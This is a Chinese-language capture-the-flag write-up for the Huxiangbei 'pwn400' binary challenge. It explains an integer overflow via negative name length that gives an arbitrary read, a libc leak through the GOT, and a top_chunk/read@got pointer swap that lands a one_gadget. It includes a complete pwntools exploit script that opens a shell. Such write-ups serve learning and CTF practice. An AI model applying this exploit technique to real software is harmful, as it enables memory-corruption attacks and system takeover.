湖湘杯pwn400的wp

湖湘杯的pwn比賽很有趣,我做了pwn300的題目,感覺不錯,我把wp分享出來,pwns的下載鏈接是: http://download.csdn.net/download/niexinming/10152069
把pwn400直接拖入ida中:
main函數:
image
Create Profile函數:
image
Print Profile函數:
image
Update Profile函數:
image
Exchange函數:
image

這個題目有點難度,我花了三天才搞定,題目的流程不難,首先創建Profile,當名字的長度小於8的時候會把數據寫入bss段,數據的長度值nbytes會放入數據的後面,大於8的時候會malloc一個空間,把輸入寫入堆中,而指針會保存在bss段,而數據的長度值nbytes也會保存在指針的後面,更新Profile的時候也會做相同的操作,打印數據的時候會把名字輸出,可以用這個功能泄露程序任意地址的任意數據,Exchange可以交換兩個地址的數據,可以利用這個來getshell
先運行一下程序看一下這個程序幹了啥:
image
再看看程序開啓了哪些保護:
image
看到這個程序開了棧不可執行,於是肯定就會想到用rop來做
這個程序有兩個地方可以利用:
(1)是創建的Profile,名字長度如果小於8就把數據寫入bss段中,但是你可以輸入負數,如果是負數的話,就可以造成整數溢出,你就可以在bss段中寫入任意長度的數據,就可以覆蓋後面的長度值nbytes爲任意數值,這樣你可以僞造一個任意長度的數據,在print函數中可以看到如果nbytes長度小於8就去讀bss中的數據,如果nbytes大於8就會去讀bss中的指針指向的數據,如果我們僞造nbytes的話就可以讓print Profile函數去讀任意地址的數據,通過got表可以計算出libc的基地址
(2)是Exchange函數可以交換任意兩個指針,但是兩個指針都是要有寫權限的,程序中權限可以通過vmmap來查看
image
這個地方是難點,解決方法是:用top_chunk 指針和read@got指針進行交換,第二次堆分
配時候可以分配到我想要的位置,就可以把想要數據寫入read@got中,當下回調用read的時候就可以跳到MAGIC中getshell了,關於top_chunk的介紹可以參考https://www.cnblogs.com/alisecurity/p/5486458.html,找top_chunk地址的思路可以參考 http://www.freebuf.com/articles/rookie/155971.html 這個文章
我的exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
import binascii
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

localMAGIC=0x5fbc6
localmain_arena=0x001B2780

def debug(addr = '0x08048BA6'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

def base_addr(prog_addr,sysmbol,offset):
    if sysmbol=='min':
        return eval(prog_addr)-offset
    else:
        return eval(prog_addr) + offset

def cr_up_profile(choose,name_len,name,age):
    io.recvuntil('>')
    io.send(choose)
    io.recv()
    io.sendline(name_len)
    io.recvuntil('Input your name:\n')
    io.sendline(name)
    io.recvuntil('Input your age:\n')
    io.sendline(age)

def print_profile(address):
    io.recvuntil(">")
    io.sendline('2')
    data = io.recv().splitlines()[0][11:15][::-1]
    log.info("%#x => %s" % (address, (data or '').encode('hex')))
    return data

def change_age(address1,address2):
    io.sendline('4')
    io.recvuntil('Person 1:')
    io.send(p32(address1))
    io.recvuntil('Person 2:')
    io.send(p32(address2))

def leak(address):
    payload = p32(address) + 'a' * 4 + p32(10)
    cr_up_profile('3','-10',payload,'10')
    return print_profile(address)


def getshell(address1,address2,address3):
    change_age(address1,address2)
    cr_up_profile('3','20',address3,'20')


#libc addr
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
symbols = ['environ', '_environ', '__environ']
for symbol in symbols:
    environ = libc.symbols[symbol]
print "environ:"+hex(environ)
head=libc.symbols['__curbrk']
print "head:"+hex(head)
system=libc.symbols['system']
print "system:"+hex(system)
__malloc_hook=libc.got['__malloc_hook']
print "__malloc_hook:"+hex(__malloc_hook)

#profile addr
elf = ELF('/home/h11p/hackme/huxiangbei/profile')
printf_addr=elf.got['printf']
puts_addr=elf.got['puts']
atoi_addr=elf.got['atoi']
malloc_addr=elf.got['malloc']
__isoc99_scanf_addr=elf.got['__isoc99_scanf']
read_addr=elf.got['read']
print "printf_addr:"+hex(printf_addr)
print "puts_addr:"+hex(puts_addr)
print "atoi_addr:"+hex(atoi_addr)
print "malloc_addr:"+hex(malloc_addr)
print "__isoc99_scanf_addr:"+hex(__isoc99_scanf_addr)
print "read_addr:"+hex(read_addr)

io = process('/home/h11p/hackme/huxiangbei/profile')

#debug()

#create profile
cr_up_profile('1','10','a'*8,'1'*12)

#leak libc base
libc_base=base_addr("0x"+binascii.b2a_hex(leak(printf_addr)),'min',0x49670) #0x49670

#get libc func addr
print "libc_base:"+hex(libc_base)
MAGIC_addr=libc_base+localMAGIC
print "MAGIC_addr:"+hex(MAGIC_addr)
environ_addr=libc_base+environ
print "environ_addr:"+hex(environ_addr)
head_addr=libc_base+head
print "head_addr:"+hex(head_addr)
main_arena_addr=libc_base+localmain_arena
print "main_arena_addr:"+hex(main_arena_addr)
topchunk=main_arena_addr+0x30
print "topchunk:"+hex(topchunk)
system_addr=libc_base+system
print "system_addr:"+hex(system_addr)
__malloc_hook_addr=libc_base+__malloc_hook
print "__malloc_hook_addr:"+hex(__malloc_hook_addr)


'''
libc_start_main=base_addr("0x"+binascii.b2a_hex(leak(environ_addr)),'min',0xa0)
print "libc_start_main:"+hex(libc_start_main)
head_addr_input=base_addr('0x'+binascii.b2a_hex(leak(head_addr+1))+'00','min',0x20fe8)
print "head_addr_input:"+hex(head_addr_input)
'''

#getshell
getshell(topchunk-0xc,0x0804B004-0x8,'a'*8+p32(MAGIC_addr))

io.interactive()
io.close()

效果是:
image
Ps:
尋找
MAGIC可以用one_gadget這個工具,工具地址在: https://github.com/david942j/one_gadget
image

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章